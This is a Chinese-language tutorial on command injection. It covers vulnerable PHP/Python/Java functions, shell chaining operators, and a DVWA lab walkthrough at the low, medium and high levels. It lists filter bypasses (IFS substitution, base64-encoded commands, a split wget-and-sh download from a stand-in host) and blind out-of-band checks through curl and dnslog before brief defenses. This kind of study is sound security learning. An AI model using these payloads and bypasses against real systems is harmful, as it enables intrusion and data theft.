简介:
命令注入漏洞即web应用程序使用了可以操控相关系统命令的功能,又没有对用户输入进行过滤,导致攻击者可以通过拼接输入而执行系统命令。
危害:
执行系统命令,修改主机配置,如防火墙、注册表,获取主机敏感文件信息以及开启的端口服务(可能需要一定权限,若web的权限是root,则畅通无阻),为后面进一步入侵打好基础。
易造成漏洞的相关函数:
Php:
System() : 用于执行外部程序并显示输出
Exec() : 用于执行一个外部程序
Shell_exec() : 通过shell环境执行命令,并且将完整的输出以字符串的方式返回
Passthru() : 用于执行外部程序并显示原始输出
Popen() : 用于打开进程文件指针
Proc_open : 执行一个命令,并且打开一个out/in的文件指针
(反引号`: `cmd` 是PHP执行运算符,PHP将尝试将返单引号中的内容作为shell命令来执行,并将其输出信息返回)
Python:
System() : 将命令和参数传递给系统的shell并执行
Popen() : 用于执行外部程序并获取其输出
Subprocess.call() : 调用Windows的cmd执行额外命令
Spwan() : 执行一个程序并返回该程序的操作句柄
Java:
Java.lang.Runtime.getRuntime().exec(commad) : 执行指定字符串commad命令
利用方式:
利用主要是利用管道符及其它连接符进行拼接命令:
Windows:
x&y x可真可假,若x为假则执行y
x&&y x为真才执行y
x|y 直接执行y
x||y x为假才执行y
Linux:
X;y 执行完x后执行y
x&y x可真可假,若x为假则执行y
x&&y x为真才执行y
x|y 直接执行y
x||y x为假才执行y
实践与练习:
环境:dvwa
Low:
直接输入命令:1 | dir 爆出目录
Medium
重复上述操作(仍然爆出来了,这个中级令人不太理解)
查看源码,看其做了啥
很明显,中级关卡就搞了个黑名单,对&& 和 ; 进行了处理,但我用的 | 没有在其中。那就用 1 && dir命令来演示一下错误示范吧
High
继续执行我们上面用的命令 1 | dir
终于有点等级变换了,这里 | 不再起作用,显然是做了处理,可能加入了黑名单,也可能进行了转换,这里先不管它,毕竟 | 只是我们的手段之一。
继续测试 0 & dir 、 1 && dir 都不行
执行 1 || dir成功爆出
查看源码分析,发现仍然是黑名单,但范围大了很大
这里有个疑惑,就我们用到的 || 明明已经在黑名单里面,为啥dir仍然能被执行?
仔细观察分析不难发现,程序应该是将命令1 || dir 的前一个|给替换成了空格,而保留了后一个| ,那么我们侥幸得到的脚本就应该改为 1 |dir (| 前面有一个空格)
绕过方法:
在我们实际攻击时往往会需要执行一些复杂的命令,而不是简简单单的一个类似于dir的命令,而这也为防御提供了诸多选择,例如我们常常需要的命令参数链接符”-”或空格,将其加入黑名单,则可以阻断很多非法命令。
(1)空格绕过:
使用$[IFS](其为linux内部区域分隔符,可以为空格、制表符,换行符或其他自定义符号)替换空格;
使用url编码进行替换,制表符的url编码为%09,其效果与空格是一样的;
使用{}符号,{netstat, -ano}与netstat -ano等效
使用<符号(输入重定向,后面跟的文件将取代键盘输入),即cat txt与cat<txt等价
(2)黑名单绕过:
字符拼接,a=l;b=s; $a$b(linux);
/字符绕过,c/a/t 与cat等价;
Base64编码绕过,echo “bHM=” | base64 -d ,即先将ls命令进行编码为 bHM= ,而后用base -d 解密;
(3)长度限制绕过:
如不断执行命令 >wget\ >foo.\ >com ls -t>a sh a 会按时间顺序把命令写入文件,最后执行文件
无回显技巧:
当我们发出精心构造的系统命令时,却没有回显,也就不知道命令是否执行,拿不到我们想要的信息。这时候就需要一些技巧来协助我们。
- sleep()函数的使用,通过使用sleep函数来判断命令是否执行。若有延时,则命令执行了,若无延时则命令没有执行。
- http请求,构造命令使得靶机执行 “curl 目标ip:端口”,而我们只需打开监听即可。
- Dns请求,若请求的目标是域名,则肯定会进行一次解析请求,我们只需要将域名指向自己的dns server,则可收到来自靶机的解析请求,从而判断命令是否执行。
- Dnslog带外技术:将命令拼接到dns域名上进行请求,而通过dnslog查看结果(常见的dnslog平台:DNSLog Platform http://admin.dnslog.link CEYE - Monitor service for security testing )
防御措施:
- 黑名单
- 输入过滤
- 不使用时禁用相应函数
- 尽量不要执行外部的应用程序或命令